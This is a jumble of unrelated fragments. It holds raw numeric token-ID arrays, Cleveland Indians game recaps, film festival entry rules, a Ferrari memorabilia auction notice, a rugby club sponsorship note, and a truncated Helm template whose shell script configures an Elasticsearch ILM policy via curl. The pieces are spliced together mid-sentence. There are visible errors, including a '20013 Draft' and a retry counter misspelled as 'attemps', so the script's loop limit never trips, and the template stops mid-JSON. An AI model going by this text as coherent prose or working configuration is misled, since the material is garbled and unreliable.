476, 457, 85, 3330, 1425, 187, 187, 2354, 5707, 37, 27, 1621, 581, 3264, 29938, 458, 30399, 25856, 13198, 777, 3592, 281, 3986, 253, 18410, 641, 347, 3809, 347, 344, 858, 15, 754, 369, 1925, 598, 432, 18603, 14, 34, 14181, 1406, 327, 6794, 13, 2403, 779, 253, 806, 4760, 432, 253, 1052, 1012, 28701, 281, 3986, 253, 18410, 641, 15, 1893, 13, 352, 4455, 13532, 326, 13198, 777, 3592, 457, 84, 36481, 11386, 2210, 19473, 685, 3264, 13, 1512, 15, 187, 187, 10758, 3044, 3074, 2131, 457, 84, 23490, 4925, 253, 246, 8201, 1127, 13, 22976, 585, 66, 3982, 253, 3307, 14, 2913, 14, 744, 13198, 777, 3592, 715, 253, 12417, 342, 581, 562, 275, 253, 1273, 40762, 15, 380, 1669, 14, 4608, 254, 3053, 342, 247, 2940, 281, 34186, 13, 533, 4541, 12372, 407, 24635, 271, 40762, 14, 1946, 4021, 1993, 3216, 483, 432, 44533, 9357, 265, 15, 22976, 585, 66, 1339, 13198, 777, 3592, 3297, 327, 253, 13599, 275, 253, 2626, 13, 285, 344, 3534, 598, 247, 1421, 2727, 2860, 254, 281, 11578, 6595, 285, 247, 2014, 281, 48021, 1078, 42200, 253, 2457, 767, 10464, 1336, 344, 11372, 15, 187, 187, 1628, 42, 1869, 344, 369, 11219, 13, 534, 310, 281, 320, 3264, 1806, 22976, 585, 66, 753, 15, 773, 10758, 344, 3534, 598, 253, 1728, 1408, 13, 309, 1869, 344, 11371, 1066, 247, 1652, 2372, 285, 2686, 13222, 253, 4023, 751, 344, 476, 15, 754, 457, 620, 320, 247, 3923, 5599, 15, 43935, 13, 344, 369, 340, 41988, 690, 41095, 15, 309, 1869, 352, 369, 1175, 281, 755, 326, 806, 581, 562, 273, 253, 1039, 323, 779, 285, 1339, 779, 16359, 275, 1425, 187, 187, 3886, 46000, 27, 329, 457, 84, 987, 14, 4608, 254, 11832, 5134, 18707, 313, 22, 14, 18, 13, 374, 15, 740, 38233, 10, 310, 1175, 2217, 1293, 247, 5699, 19176, 273, 1408, 1329, 15, 1893, 13, 2378, 253, 987, 14, 4608, 254, 574, 271, 854, 14, 18, 1421, 13, 344, 268, 8055, 253, 9974, 8232, 285, 5385, 1701, 949, 2800, 13009, 546, 7622, 281, 253, 3330, 15, 18707, 10903, 562, 7457, 13, 7428, 1264, 285, 17485, 767, 12830, 15, 187, 187, 1628, 1328, 457, 84, 247, 3965, 2714, 31021, 1806, 22976, 585, 66, 753, 15, 773, 1328, 457, 84, 417, 253, 5962, 5599, 275, 253, 1533, 13, 533, 344, 476, 2624, 352, 13, 16338, 352, 13, 10155, 4023, 15, 329, 2257, 273, 776, 4680, 3063, 369, 13, 2802, 8262, 13, 672, 368, 755, 253, 806, 3809, 2910, 13, 604, 352, 457, 84, 4766, 13, 564, 6386, 285, 364, 471, 352, 13, 984, 344, 2506, 457, 85, 1918, 368, 1199, 846, 326, 9027, 187, 187, 1628, 5872, 13, 672, 368, 755, 247, 1421, 751, 344, 574, 13, 326, 2238, 273, 7120, 987, 715, 544, 8701, 1133, 1570, 2732, 253, 806, 673, 949, 253, 1340, 13, 637, 13, 344, 457, 69, 755, 281, 767, 18200, 285, 344, 457, 69, 816, 1691, 441, 1977, 15, 754, 457, 84, 1694, 594, 1142, 8914, 15, 380, 1943, 10155, 4023, 15, 754, 457, 84, 1694, 247, 3809, 2910, 342, 4866, 285, 344, 13896, 594, 973, 1425, 187, 187, 30851, 27, 3105, 760, 858, 3044, 3074, 2131, 1705, 562, 14954, 275, 253, 806, 40762, 13, 253, 16869, 457, 2959, 247, 14088, 2860, 254, 432, 13104, 4235, 6850, 313, 8701, 806, 17916, 1580, 4162, 1249, 10, 275, 253, 5909, 3665, 281, 10013, 247, 3158, 1421, 15, 733, 457, 84, 8644, 13, 2167, 13, 849, 247, 2165, 476, 1928, 689, 760, 247, 2716, 14, 249, 920, 1996, 15, 11977, 27373, 457, 84, 4314, 14, 6321, 562, 28754, 13, 19802, 457, 84, 8399, 2427, 374, 14, 1542, 14, 1731, 342, 1249, 9974, 8349, 15, 380, 16869, 574, 347, 1142, 6332, 313, 9389, 10, 275, 253, 1673, 347, 12830, 745, 18707, 285, 253, 329, 457, 84, 574, 625, 1728, 6613, 313, 13524, 10, 685, 253, 42421, 574, 30451, 275, 14755, 1899, 15, 187, 187, 2512, 497, 1643, 37865, 281, 320, 1119, 275, 436, 581, 15, 380, 8230, 483, 858, 1918, 22976, 585, 66, 253, 4839, 281, 755, 13198, 777, 3592, 521, 806, 7286, 275, 253, 18410, 641, 13, 285, 253, 5107, 281, 755, 10035, 8784, 3205, 285, 7670, 42535, 1858, 616, 806, 5249, 789, 275, 4055, 1673, 285, 387, 2626, 2613, 13, 2975, 15, 23316 ]

re incredible pitchers. They have great stuff. All the same, for instance, Scherzer today, he was leaving balls middle earlier in the game, and we were making him pay. He’s got the type of stuff that he can get away with leaving stuff in the middle of the zone, but when our offense is hot like it was today, we were doing a good job of driving the ball. “He obviously settled down in the later innings, but any time you put up seven on the reigning Cy Young winner, I think that’s a pretty good day. Those guys are workhorses. Whatever the benchmark is for a normal starting pitcher, 100 pitches, those guys are always going 110-120. They eat innings as much as any pitcher, on top of having incredible stuff. Those are two guys that everybody would love to have at the top of their rotation.” EXTRA: There will be roster moves coming for the Indians on Thursday. After going through the entire bullpen (with the exception of Cody Allen) and using Tomlin, Cleveland will need a starter for Thursday and also some relief reinforcements. Two starting pitching possibilities are right-handers Kyle Davies and Travis Banwart, through neither are on the 40-man roster. A subsequent move would be required. Lefty T.J. House would make sense, but he was just optioned back to Triple-A Tuesday, so he is not eligible to come back yet (unless someone is placed on the disabled list). As for McAllister, I’m not sure what the Tribe can do. With no off-day, McAllister can’t be skipped. He could be sent down, but there’s no clear replacement at the moment. Righty Danny Salazar was optioned on Friday, so he’s not eligible to return by McAllister’s next scheduled turn, either. Maybe they can ask Jason Giambi if his right calf is still sore? We’ll find out Thursday what the moves will be. Cleveland had a flight to Baltimore to catch after Wednesday’s debacle. NOTE: I will be off for the upcoming road trip through Baltimore and Chicago. Keeping checking Indians.com and following @tribeinsider and @Indians for updates. Believe me, I’d much rather be hitting the road. I’m having my wisdom teeth removed this week. Good times! The evening began with the news that the Indians had understandably demoted struggling starter Danny Salazar to Triple-A. The night ended with a lopsided loss carved from a clunker of an outing from Zach McAllister. What was so perplexing about McAllister’s night was the brilliant manner in which it began. The righty set down Coco Crisp, John Jaso and Josh Donaldson in order to open the game, striking each of them out and throwing 11 of his first 16 pitches for strikes. “Boy, the first inning, he came out really good,” Indians manager Terry Francona said. “He threw some of his better breaking balls that we’ve seen. He kind of had some power to it.” And then in the second inning… Well, let’s just say that the swiftness with which McAllister fell apart was historic. According to research through baseball-reference.com’s Play Index, it marked the first time in the past 100 years of baseball that a Major League starter struck out the side in order in the first before allowing at least eight runs in the second, among pitchers with no more than two innings logged. In 1.1 innings of work, McAllister was charged with eight runs on five hits with three walks, three strikeouts and two home runs. He ended with 54 pitches, including 29 strikes. As our friends over at LetsGoTribe.com pointed out, McAllister’s performance netted a negative game score (-4). That made it only the sixth negative game score by an Indians pitcher, dating back to at least 1914. That list includes Charles Nagy (-1 on Aug. 14, 1998), Bob Feller (-15 on Aug. 26, 1938), Oral Hildebrand (-4 on July 14, 1935), Johnny Miljus (-26 on July 25, 1929) and Joe Shaute (-1 on June 16, 1925). McAllister’s was only the ninth game score of -4 or worse with no more than 1.1 innings logged in the past 100 years of box scores. The last such occurrence was on Aug. 17, 2008, when Brian Bannister accomplished that dubious feat for Kansas City. “In the second inning of a game,” Francona said, “you want to give a guy a chance to get through it. Maybe he can gather himself. Even if you go four [innings], you’re not into your bullpen in your second inning. But, it just wasn’t happening.” With that loss, McAllister’s season ERA ballooned from 3.89 to 5.36. The righty is now 0-4 with an 8.72 ERA in his last five starts (all five were losses for the Indians). In that span, he has 24 strikeouts and 10 walks with a.303 (27-for-89) opponents’ average. The eight runs on Friday certainly skews things there, but it’s still a dramatic drop-off from his first four starts of the year. In that time period, he went 3-0 with a 2.28 ERA and.233 (21-for-90) opponents’ average. Cleveland won all four games and he had 17 strikeouts and seven walks. “I know I haven’t pitched my best,” McAllister said. “Obviously, you’re going to have some peaks and valleys. Right now, I’m down, as far as the way I’ve been pitching lately. I know I’ve got to get back up to that middle ground and pitch better.” Francona said McAllister’s task now is to ignore the numbers and weather the current storm. “[He has] to be strong enough mentally to understand that he is a good pitcher,” Francona said. “It might take a while to get that ERA to where he’s comfortable, but that doesn’t mean he can’t win.” SECOND: No one expected rookie lefty Kyle Crockett to reach the Majors as fast as he did. He was called up from Double-A Akron on Friday, making him the first player from the 20013 Draft to reach the Majors. So, it seemed fitting that Crockett’s MLB debut came sooner than expected, too. Once McAllister’s struggles reached the tipping point, Francona brought the 22-year-old Crockett into the contest with one out in the second inning. The left-hander started with a walk to Moss, but quickly recovered by inducing an inning-ending doubleplay groundout from Cespedes. Francona let Crockett stay on the hill in the third, and he gave up a leadoff homer to Lowrie and a single to Norris before retiring the final two batters he faced. “I thought he was nervous, which is to be expected,” Francona said. “Once he gave up the home run, I thought he settled down a little bit and actually threw the ball like he can. He’ll be a command guy. Tonight, he was yanking some pitches. I thought it was good to get that first one out of the way for him and let him settle in.” THIRD: A’s right-hander Sonny Gray (5-1, 2.10 ERA) is good enough without a huge pile of run support. So, once the right-hander had an 8-1 lead, he pounded the strike zone and cruised through six frames en route to the win. Gray struck out nine, walked three and scattered two hits. “He’s a pretty special pitcher,” Francona said. “He’s not the biggest guy in the world, but he can cut it, sink it, breaking ball. A lot of our thinking today was, ‘Hey, when you get the first fastball, if it’s middle, go ahead and whack it, because he doesn’t give you much after that.’ “Then, when you get a lead like he had, that kind of plays right into [his hand]. After the first time through the order, man, he’d get to two strikes and he’d just put us away. He’s got so many weapons. The big breaking ball. He’s got a fastball with movement and he commands so well.” HOME: Not only did McAllister come out firing in the first inning, the Indians’ received a solo homer from Nick Swisher (his first blast since April 12) in the opening frame to grab a quick lead. It’s amazing, though, how a game can feel over only a half-inning later. Following Oakland’s eight-run outburst, Cleveland’s offense went 2-for-26 with 12 strikeouts. The Indians had as many errors (two) in the field as hits off Gray and the A’s had more home runs (three) than the Tribe had runners in scoring position. There were few positives to be found in this one. The blowout did give Francona the chance to get Crockett his first appearance in the Majors, and the opportunity to get Mike Aviles and Jesus Aguilar their first career work in center field and at third base, respectively. Carlos

[ 5416, 326, 597, 452, 253, 987, 281, 10078, 275, 253, 14964, 342, 2743, 281, 2626, 7732, 4802, 281, 253, 3275, 273, 4236, 6590, 390, 10556, 15, 380, 14964, 11766, 17587, 313, 395, 1620, 7260, 10, 9273, 8128, 285, 352, 310, 8025, 326, 667, 3085, 9262, 1293, 2173, 3806, 281, 247, 9521, 9273, 9801, 275, 253, 3835, 4857, 310, 1097, 2130, 281, 320, 22546, 13, 342, 642, 4320, 13133, 13, 285, 1293, 15355, 273, 247, 9801, 1146, 5087, 15, 187, 187, 510, 14964, 23003, 253, 987, 281, 16410, 390, 14002, 253, 12378, 273, 667, 3379, 14320, 273, 12497, 3290, 15, 187, 187, 17919, 708, 5259, 414, 187, 187, 2042, 634, 3085, 390, 3492, 310, 4236, 281, 3601, 387, 253, 14964, 13, 368, 588, 320, 2546, 281, 2085, 27, 6423, 434, 9015, 285, 3085, 3756, 16, 87, 504, 3756, 13, 270, 7, 88, 285, 16, 263, 3295, 1335, 84, 432, 253, 3085, 13, 2315, 4753, 13, 285, 3492, 19150, 313, 338, 2130, 481, 187, 187, 27302, 3390, 708, 18165, 187, 187, 38861, 84, 432, 253, 3420, 588, 5752, 347, 38919, 16006, 273, 4236, 6590, 15, 16925, 33573, 41670, 285, 12469, 1482, 18165, 588, 320, 3559, 281, 253, 1682, 3085, 390, 3492, 275, 1016, 7140, 15, 187, 187, 2809, 8201, 187, 187, 510, 2105, 273, 15076, 247, 19529, 281, 253, 14964, 1364, 320, 5087, 407, 253, 994, 4991, 15, 7764, 513, 417, 5007, 35103, 275, 9538, 14, 14653, 48880, 13, 347, 616, 16558, 28478, 33942, 285, 6500, 15, 1916, 4044, 19313, 273, 17191, 13, 4496, 2486, 247, 1881, 14, 1911, 2079, 13, 43407, 1501, 9290, 15, 4974, 2230, 33942, 588, 417, 320, 4895, 5734, 5010, 9521, 15, 380, 14964, 588, 2075, 323, 581, 14, 1106, 15076, 313, 74, 15, 70, 904, 1091, 10, 273, 22774, 273, 4236, 6590, 285, 10556, 15, 1876, 643, 15076, 7260, 403, 253, 8294, 273, 253, 994, 4991, 15, 187, 187, 6802, 7662, 14297, 187, 187, 28645, 5010, 9521, 13, 3085, 285, 3492, 35103, 4236, 323, 9273, 4098, 253, 36405, 15913, 285, 11412, 14964, 253, 3570, 281, 897, 4886, 2460, 32491, 84, 13, 3275, 1335, 84, 13, 285, 1491, 432, 253, 3085, 390, 3492, 323, 32223, 6378, 15, 187, 187, 17448, 1430, 187, 187, 8267, 47644, 588, 320, 25796, 275, 10885, 33942, 285, 6590, 15, 1723, 13, 943, 247, 3379, 320, 3663, 390, 13572, 13, 253, 14964, 588, 2997, 8294, 323, 253, 2180, 273, 673, 326, 253, 3379, 310, 275, 253, 10023, 273, 253, 36405, 15913, 285, 11412, 14964, 13, 285, 588, 27533, 253, 1318, 273, 253, 3492, 390, 3085, 313, 263, 629, 10445, 10, 760, 15, 3166, 417, 5007, 3236, 22774, 390, 33942, 15, 187, 187, 29011, 593, 273, 16228, 187, 187, 47177, 318, 275, 253, 14964, 8018, 14924, 273, 512, 14964, 4803, 285, 10132, 15, 24925, 13, 187, 187, 34, 2201, 4849, 273, 26658, 2596, 29247, 631, 16407, 5280, 571, 1690, 247, 11161, 44152, 33141, 443, 6901, 342, 271, 5998, 1318, 273, 370, 1518, 13, 933, 588, 320, 22685, 264, 387, 15908, 296, 6169, 436, 1770, 15, 733, 310, 2529, 407, 581, 6485, 347, 253, 6253, 2014, 4849, 273, 26658, 2596, 44152, 3236, 16407, 5280, 571, 281, 1705, 4830, 253, 1980, 2791, 275, 625, 685, 1884, 1107, 15, 380, 4849, 273, 253, 3563, 3035, 8636, 3277, 37964, 3797, 3210, 13, 32622, 13, 31942, 1507, 13, 23854, 13, 5098, 13, 5492, 19519, 13, 19708, 1507, 13, 246, 14, 39529, 13, 12201, 285, 625, 15, 3035, 8636, 369, 247, 3963, 7731, 387, 253, 31449, 631, 26729, 13, 3684, 15908, 296, 6169, 323, 689, 2030, 1107, 717, 38046, 247, 1781, 4849, 273, 29247, 631, 16407, 5280, 571, 15, 754, 4817, 1977, 1390, 4437, 846, 247, 1048, 9749, 387, 253, 2363, 273, 5571, 15, 3032, 4475, 10876, 2485, 310, 4886, 715, 4577, 23241, 285, 3198, 5580, 3035, 8636, 434, 4849, 15, 380, 22685, 310, 1146, 15726, 407, 31449, 631, 26729, 7015, 9165, 15435, 7213, 265, 665, 2529, 352, 347, 247, 581, 14, 249, 14, 66, 14, 6458, 7816, 5107, 323, 26658, 2596, 29247, 631, 7458, 15, 346, 42, 1849, 1620, 2326, 824, 247, 4849, 594, 8485, 275, 619, 4567, 1107, 273, 2509, 29247, 631, 16407, 5280, 571, 937, 15435, 753, 15, 346, 3546, 8636, 369, 247, 2201, 44152, 7989, 13, 594, 368, 476, 8564, 752, 344, 5728, 937, 15435, 753, 15, 346, 1328, 369, 247, 44152, 21514, 407, 2798, 285, 7765, 15, 346, 2512, 403, 12660, 8783, 642, 15917, 15, 4683, 841, 13, 627, 403, 1384, 8783, 342, 247, 1077, 1698, 4376, 6642, 15, 346, 2512, 588, 320, 9828, 273, 14862, 1550, 449, 380, 3035, 8636, 3277, 37964, 20718, 329, 14684, 588, 320, 2918, 387, 380, 367, 2966, 6929, 3684, 15908, 296, 6169, 13, 6926, 13, 4162, 1638, 432, 1903, 312, 15, 9182, 272, 588, 320, 387, 380, 367, 2966, 6929, 327, 7814, 13, 4162, 2145, 432, 1903, 312, 281, 577, 2617, 15, 380, 8783, 403, 512, 7117, 342, 7963, 1060, 187, 187, 3614, 1358, 9866, 303, 7332, 14, 66, 15, 518, 312, 2284, 13838, 15, 3024, 16, 16702, 16, 87, 18, 16, 68, 1658, 16, 925, 78, 16, 20, 54, 4196, 36, 3696, 25, 40, 25, 51, 26, 14059, 58, 15453, 50, 87, 43, 58, 20, 16, 70, 17, 70, 23, 70, 2950, 71, 14, 41280, 67, 14, 21, 70, 3953, 14, 26, 19630, 14, 18, 317, 69, 11316, 7174, 12781, 15, 43, 11070, 16, 83, 17, 64, 18202, 64, 1237, 1540, 64, 938, 3712, 64, 88, 32158, 64, 73, 25025, 64, 71, 4090, 15, 11368, 47495, 15989, 37790, 9585, 403, 13864, 281, 10578, 32524, 10389, 5901, 347, 253, 9585, 457, 84, 3565, 5566, 14, 13263, 4760, 2440, 285, 9550, 7832, 323, 2952, 4240, 15, 510, 4345, 588, 923, 32524, 10389, 5901, 13, 2112, 342, 253, 21855, 4750, 10073, 275, 18723, 776, 745, 14, 13263, 3733, 13, 3520, 2440, 285, 9550, 5659, 13, 342, 1798, 15075, 327, 5249, 4730, 285, 2628, 21927, 3658, 323, 18250, 15989, 3773, 15, 6394, 14, 604, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 428, 599, 187, 6682, 8893, 27, 14604, 16, 87, 18, 187, 11258, 27, 21591, 187, 187, 21552, 27, 187, 50276, 1590, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 187, 50276, 12361, 27, 12033, 964, 15888, 15, 14456, 15, 12361, 12377, 187, 50276, 31294, 27, 187, 50274, 6394, 14, 2486, 346, 9784, 46341, 3, 964, 1040, 295, 31808, 577, 12377, 187, 187, 4157, 27, 187, 50276, 2135, 2727, 24314, 27, 470, 187, 50276, 19783, 1204, 27, 337, 187, 50276, 1440, 77, 41989, 4553, 17398, 1428, 27, 3925, 535, 50276, 8547, 27, 187, 50274, 21552, 27, 187, 50272, 1590, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 187, 50272, 31294, 27, 187, 50270, 6394, 14, 2486, 346, 9784, 46341, 3, 964, 1040, 295, 31808, 854, 12377, 535, 50274, 4157, 27, 187, 50272, 1120, 435, 20439, 27, 9018, 187, 50272, 1987, 39982, 27, 187, 50272, 14, 1416, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 14, 29871, 187, 50270, 5695, 27, 4569, 16, 31064, 27, 20, 15, 18, 187, 50270, 5695, 41262, 20439, 27, 346, 2042, 3650, 25582, 3, 187, 50270, 12540, 4509, 27, 187, 50268, 14, 3596, 6648, 7676, 27, 187, 50264, 1590, 27, 12033, 2486, 346, 25563, 15, 5397, 6648, 2402, 3, 964, 12377, 187, 50270, 21830, 27, 187, 50268, 10423, 27, 187, 50266, 19411, 27, 346, 1449, 78, 3, 187, 50266, 20704, 27, 346, 1237, 24711, 3, 187, 50270, 12467, 27, 187, 50270, 14, 439, 187, 50270, 14, 428, 68, 187, 50270, 14, 1040, 14, 187, 50268, 4, 34834, 4805, 16, 1200, 187, 50268, 2775, 5757, 64, 9536, 43615, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 3, 187, 50268, 21273, 64, 1372, 2431, 1042, 568, 300, 78, 14, 5251, 14, 1178, 350, 15, 1200, 3, 187, 50268, 6394, 14, 2486, 346, 2808, 40541, 3, 964, 1040, 295, 31808, 884, 12377, 535, 50268, 2413, 6734, 551, 187, 50264, 6790, 1854, 31961, 18, 13272, 187, 50264, 338, 544, 428, 79, 26107, 3887, 17643, 1864, 64, 23131, 9536, 13272, 5032, 3857, 544, 428, 79, 26107, 3887, 17643, 1864, 64, 25692, 25981, 13272, 25896, 840, 187, 50262, 48121, 1864, 64, 37482, 24539, 86, 7224, 3887, 17643, 1864, 64, 23131, 9536, 17168, 8626, 3887, 17643, 1864, 64, 25692, 25981, 13272, 187, 50264, 7271, 187, 50262, 48121, 1864, 64, 37482, 5473, 8, 187, 50264, 11125, 187, 50264, 31064, 428, 57, 9278, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 76, 1969, 24796, 7224, 48121, 1864, 64, 37482, 94, 35953, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 8626, 3967, 94, 187, 50268, 94, 187, 50268, 8581, 64, 3211, 44241, 2413, 13357, 64, 24670, 16, 15356, 32, 6394, 964, 15888, 15, 25563, 8716, 15, 24670, 19895, 9063, 18246, 12377, 2807, 187, 50268, 38839, 84, 30, 17, 535, 50268, 6050, 544, 370, 8581, 64, 3211, 428, 570, 346, 1518, 3, 25896, 513, 187, 50266, 8581, 64, 3211, 44241, 2413, 13357, 64, 24670, 16, 15356, 32, 6394, 964, 15888, 15, 25563, 8716, 15, 24670, 19895, 9063, 18246, 12377, 2807, 187, 50266, 1595, 358, 793, 18340, 4464, 38839, 84, 559, 337, 1228, 187, 50266, 338, 544, 370, 38839, 84, 428, 463, 346, 1010, 3, 25896, 840, 187, 50264, 64, 3775, 346, 51, 266, 562, 273, 9437, 15, 21591, 26224, 449, 187, 50264, 19874, 15610, 187, 50266, 11125, 187, 50266, 64, 3775, 346, 31455, 310, 417, 4704, 15, 26735, 272, 323, 884, 7253, 3, 187, 50266, 28850, 884, 187, 50268, 17506, 535, 50268, 64, 5374, 346, 31455, 310, 598, 285, 4704, 13, 13756, 281, 14888, 16012, 3, 187, 50268, 8581, 64, 3211, 44241, 31064, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 57, 19220, 12122, 6394, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 29987, 300, 78, 16, 8581, 3, 428, 41, 686, 8590, 14, 2548, 27, 2898, 16, 8456, 3401, 187, 50268, 338, 544, 370, 8581, 64, 3211, 428, 570, 346, 1518, 3, 25896, 840, 187, 50266, 64, 5374, 346, 3077, 46, 310, 417, 4390, 3515, 3, 187, 50266, 19874, 470, 187, 50268, 11125, 535, 50268, 8581, 64, 3211, 44241, 31064, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 57, 367, 3329, 12122, 6394, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 29987, 300, 78, 16, 22872, 16, 8608, 505, 1883, 64, 22872, 32, 38256, 3, 428, 41, 686, 8590, 14, 2548, 27, 2898, 16, 8456, 8, 428, 69, 8, 187, 50268, 92, 187, 50266, 3, 22872, 1381, 551, 187, 50264, 3, 545, 1169, 1381, 551, 187, 50262, 3, 12022, 1381, 551, 187, 50260, 3, 3518, 1381, 551, 187, 50258, 3, 1811, 1189, 1381, 551, 187, 50256, 3, 4090, 64, 3281, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 4090, 64, 3281, 12377, 995, 187, 50256, 3, 4090, 64, 486, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 4090, 64, 486, 12377, 3, 187, 50258, 94, 187, 50260, 94, 187, 50262, 2023, 187, 50262, 3, 16435, 1381, 551, 187, 50260, 3, 1222, 64, 486, 1381, 346, 6394, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 15, 1222, 64, 486, 12377, 995, 187, 50260, 3, 3518, 1381, 551, 187, 50258, 3, 16435, 1381, 12166, 187, 50260, 94, 187, 50262, 94, 187, 50264, 94, 187, 50266, 94, 187, 50268, 94, 187, 50268, 3401, 535, 50268, 338, 544, 370, 8581, 64, 3211, 428, 2574, 346, 1518, 3, 25896, 840, 187, 50266, 64, 5374, 346, 3077, 46, 1268, 310, 873, 3, 187, 50266, 19874, 470, 187, 50268, 7271, 187, 50266, 64, 3775, 346, 4756, 4758, 13193, 27230, 34356, 11354, 1268, 3, 187, 50266, 19874, 15610, 187, 50268, 11125, 187, 6394, 14, 990, 428, 599, 187, 16, 21723, 27591, 187, 11, 8283, 313, 36, 10, 4765, 428, 9169, 1594, 300, 27475, 13, 3690, 15, 50276, 3074, 3570, 10827, 15, 187, 11, 35588, 57, 14, 17736, 14, 18483, 27, 20695, 187, 21723, 27591, 16, 187, 187, 16, 38868, 8480, 187, 6930, 187, 11 ]

ensure that they have the right to participate in the Festival with regard to third persons connected to the production of selected films or videos. The Festival rarely pays (and never charges) screening fees and it is assumed that any film submitted without specific reference to a requested screening fee in the cover letter is both available to be screened, with no legal restrictions, and without expectation of a fee being paid. The Festival reserves the right to refuse or cancel the projection of any print deemed of insufficient quality. Press & Publicity If your film or video is selected to screen at the Festival, you will be asked to provide: director's bio and filmography/videography, b&w and/or color stills from the film, press materials, and video trailer (if available). Judging & Awards Individuals from the media will serve as impartial judges of selected films. Separate Jury and Audience Awards will be presented to the best film or video in each category. Shipping The cost of shipping a submission to the Festival must be paid by the entrant. Please do not send submissions in fiber-filled envelopes, as their residue ruins tapes and equipment. To obtain notification of receipt, please include a self-addressed, stamped postcard. Submission tapes will not be returned unless otherwise requested. The Festival will pay for one-way shipping (i.e., return) of prints of selected films and videos. All other shipping charges are the responsibility of the entrant. Reproduction Agreement Unless otherwise requested, film and video submissions selected for screening grant the Sacramento Film and Music Festival the rights to use moving image excerpts, production stills, and information from the film or video for promotional purposes. Liability Every precaution will be exercised in handling tapes and films. However, should a print be lost or damaged, the Festival will accept responsibility for the period of time that the print is in the possession of the Sacramento Film and Music Festival, and will reimburse the value of the video or film (or part thereof) only. Do not send original prints or tapes. Acceptance of Rules Participation in the Festival implies acceptance of all Festival rules and regulations.community, A major collection of Formula One motorsport memorabilia including a 1989 Ferrari 328 GTS with an estimated value of $200,000 will be auctioned at Hurstville this month. It is described by one expert as the largest single collection of Formula One Ferrari original memorabilia to come onto the local market in more than 30 years. The collection of the late Enzo Quarta includes models, shirts, helmets, pins, books, race suits, jackets, t-shirts, flags and more. Enzo was a regular customer at the Motorsport Shop, South Hurstville for over 25 years amassing a large collection of motorsport memorabilia. He passed away last October after a long illness at the age of 70. His wife Olga is moving into smaller accommodation and needs sell Enzo's collection. The auction is being handled by Motorsport Shop chief executive Patrick Wedes who described it as a one-in-a-lifetime opportunity for Formula One motorsport fans. "I've never seen such a collection so vast in my 32 years of doing motorsport memorabilia," Patrick said. "Enzo was a major Ferrari fan, so you can imagine what he collected," Patrick said. "He was a Ferrari lover by heart and soul. "There are 180 lots no reserve. Of these, there are 20 lots with a very low price estimate. "There will be plenty of bargains." The Enzo Quarta Memorial Auction will be held at The Pinnacle South Hurstville, Sunday, April 14 from 11am. Viewing will be at The Pinnacle on Saturday, April 13 from 11am to 4pm. The lots are all listed with photos here https://nnimgt-a.akamaihd.net/transform/v1/crop/frm/3U96Ckn8G8R9iyYbnQvJY3/e0e6e46f-094b-4e94-9293-1acdcb006bec.JPG/r0_207_3264_2051_w1200_h678_fmax.jpgRandwick Rugby Club are pleased to announce Rohrig Group as the Club’s official Off-season player development and leadership partner for season 2017.The agreement will see Rohrig Group, along with the coaching staff assist in delivering our off-season training, physical development and leadership programs, with particular emphasis on career education and job placements for Randwick players.{{- if.Values.elasticsearch.retention -}} apiVersion: batch/v1 kind: Job metadata: name: {{ template "elastic.name". }}-ilm-setter namespace: {{.Values.global.namespace }} labels: {{- include "commonLabels". | nindent 4 }} spec: backoffLimit: 0 parallelism: 1 ttlSecondsAfterFinished: 60 template: metadata: name: {{ template "elastic.name". }}-ilm-setter labels: {{- include "commonLabels". | nindent 8 }} spec: restartPolicy: Never containers: - name: {{ template "elastic.name". }}-ilm-setter-pod image: appropriate/curl:3.1 imagePullPolicy: "IfNotPresent" envFrom: - configMapRef: name: {{ include "elastic.configMapName". }} resources: limits: cpu: "40m" memory: "32Mi" command: - sh - -c - |- #!/bin/sh CHART_NAME="{{ template "elastic.name". }}" LOG_ORIGIN="ilm-level-setter.sh" {{- include "logFunctions". | nindent 10 }} http () { local path="${1}" if [ -n "${ELASTIC_USERNAME}" ] && [ -n "${ELASTIC_PASSWORD}" ]; then BASIC_AUTH="-u ${ELASTIC_USERNAME}:${ELASTIC_PASSWORD}" else BASIC_AUTH='' fi curl -XGET --write-out %{http_code} -s --output /dev/null -k --fail ${BASIC_AUTH} ${{.Release.Name | upper }}_ELASTICSEARCH_SERVICE_HOST:9200${path} } status_code=$(http "/_cluster/health?{{.Values.elasticsearch.clusterHealthCheckParams }}") attempts=0 while [ $status_code -ne "200" ]; do status_code=$(http "/_cluster/health?{{.Values.elasticsearch.clusterHealthCheckParams }}") attemps=$((attempts + 1)) if [ $attempts -ge "15" ]; then _error "Ran out of attempts. Job cancelled." exit 127 fi _error "Cluster is not ready. Sleeping for 10 seconds" sleep 10 done _info "Cluster is up and ready, attempting to inject configurations" status_code=$(curl --write-out %{http_code} -s --output /dev/null -X GET "${{.Release.Name | upper }}_ELASTICSEARCH_SERVICE_HOST:9200/_ilm/status" -H 'Content-Type: application/json') if [ $status_code -ne "200" ]; then _info "ILM is not currently running" exit 0 fi status_code=$(curl --write-out %{http_code} -s --output /dev/null -X PUT "${{.Release.Name | upper }}_ELASTICSEARCH_SERVICE_HOST:9200/_ilm/policy/datastream_policy?pretty" -H 'Content-Type: application/json' -d' { "policy": { "phases": { "hot": { "actions": { "rollover": { "max_size": "{{.Values.elasticsearch.retention.max_size }}", "max_age": 